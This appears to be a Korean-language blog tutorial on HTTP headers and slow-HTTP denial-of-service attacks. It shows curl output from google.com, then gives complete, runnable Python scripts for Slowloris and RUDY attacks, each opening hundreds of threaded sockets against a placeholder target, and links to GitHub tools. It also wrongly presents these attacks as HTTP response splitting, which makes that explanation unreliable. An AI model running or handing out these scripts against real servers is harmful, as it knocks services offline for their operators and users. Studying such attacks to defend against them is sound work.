HTTP Request에 있는 파라미터가 HTTP Response의 응답헤더로 다시 전달되는 경우 파라미터 내 개행문자 CR(Carriage Return, %0D) 혹은 LF(Line Feed %0A)가 존재하면 HTTP 여러개로 나누어질 수 있다.
자 그럼 HTTP 요청/응답 구조를 살펴보자
curl -X GET google.com
C:\Users\user>**curl -X GET google.com**
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.com/">here</A>.
</BODY></HTML>
C:\Users\user>
curl -X POST google.com
C:\Users\user>curl -X POST google.com
<!DOCTYPE html>
<html lang=en>
<meta charset=utf-8>
<meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">
<title>Error 411 (Length Required)!!1</title>
<style>
*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px}
</style>
<a href=//www.google.com/><span id=logo aria-label=Google></span></a>
<p><b>411.</b> <ins>That’s an error.</ins>
<p>POST requests require a <code>Content-length</code> header. <ins>That’s all we know.</ins>
C:\Users\user>
</HTML>
이후 개행문자가 2번 연속으로(\r\n) 나오는건 한 응답헤더의 끝을 의미한다. 이걸 이용한 공격이 HTTP 응답분할 공격이고 대표적으로 Slowloris와 Rudy 공격이 있다.
Slowloris 공격은 HTTP DOS 공격에 하나로써 서버 스레드의 과부하를 일으켜 정상작동을 하지 못하게 한다.
1.수많은 HTTP request를 발생시킨다.
2.HTTP Header를 1-15초 간격으로 전송하여 연결을 열어둔다.
3. 서버에서 연결을 종료 시킬 때 까지 계속 HTTP request를 보내고, 만약 서버에서 연결을 닫으면 다시 HTTP Header를 전송하여 연결을 연다(OPEN)
이러한 동작은 서버 자원을 고갈 시키고 애플리케이션의 정상동작을 수행하지 못하게 한다.
그럼 예저 코드를 보자
import socket import time import random import threading # 공격할 서버의 호스트와 포트 번호를 설정 host = "target_host" port = 80 num_sockets = 200 # 소켓 목록 생성 sockets = [] # 소켓을 초기화하고 서버에 연결 def init_socket(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(4) s.connect((host, port)) s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8")) s.send("User-Agent: {}\r\n".format("Mozilla/5.0").encode("utf-8")) s.send("Accept-language: en-US,en,q=0.5\r\n".encode("utf-8")) return s # 초기화된 소켓을 소켓 목록에 추가 for _ in range(num_sockets): try: s = init_socket() sockets.append(s) except socket.error: break # 소켓을 지속적으로 유지하면서 헤더를 보내는 함수 def keep_sockets_alive(): while True: for s in list(sockets): try: s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8")) except socket.error: sockets.remove(s) try: s = init_socket() sockets.append(s) except socket.error: continue time.sleep(15) # 스레드를 사용하여 keep_sockets_alive 함수 실행 for i in range(5): t = threading.Thread(target=keep_sockets_alive) t.start()
위 작동방식 3가지를 입각하여 작성된 코드이다.
RUDY (R-U-Dead-Yet) 공격은 HTTP POST 요청을 이용하여 웹 서버의 자원을 고갈시키는 DDoS (Distributed Denial of Service) 공격. RUDY 공격의 주요 목적은 웹 서버가 클라이언트로부터 전송되는 긴 요청 본문을 기다리도록 하여 자원을 소모시키는 것
그럼 예저 코드를 보자
import socket import time import random import threading # 공격할 서버의 호스트와 포트 번호를 설정 host = "target_host" port = 80 num_sockets = 200 # 소켓 목록을 생성 sockets = [] # 소켓을 초기화하고 서버에 연결 def init_socket(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(4) s.connect((host, port)) s.send("POST / HTTP/1.1\r\n".encode("utf-8")) s.send("Host: {}\r\n".format(host).encode("utf-8")) s.send("Content-Length: 1000000\r\n".encode("utf-8")) s.send("Content-Type: application/x-www-form-urlencoded\r\n".encode("utf-8")) s.send("\r\n".encode("utf-8")) return s # 초기화된 소켓을 소켓 목록에 추가 for _ in range(num_sockets): try: s = init_socket() sockets.append(s) except socket.error: break # 소켓을 지속적으로 유지하면서 데이터를 천천히 보내는 함수를 정의 def keep_sockets_alive(): while True: for s in list(sockets): try: s.send("a".encode("utf-8")) except socket.error: sockets.remove(s) try: s = init_socket() sockets.append(s) except socket.error: continue time.sleep(10) # 스레드를 사용하여 keep_sockets_alive 함수를 실행 for i in range(5): t = threading.Thread(target=keep_sockets_alive) t.start()
Rudy Attack
https://github.com/darkweak/rudy
Slowloris Attack
https://github.com/gkbrk/slowloris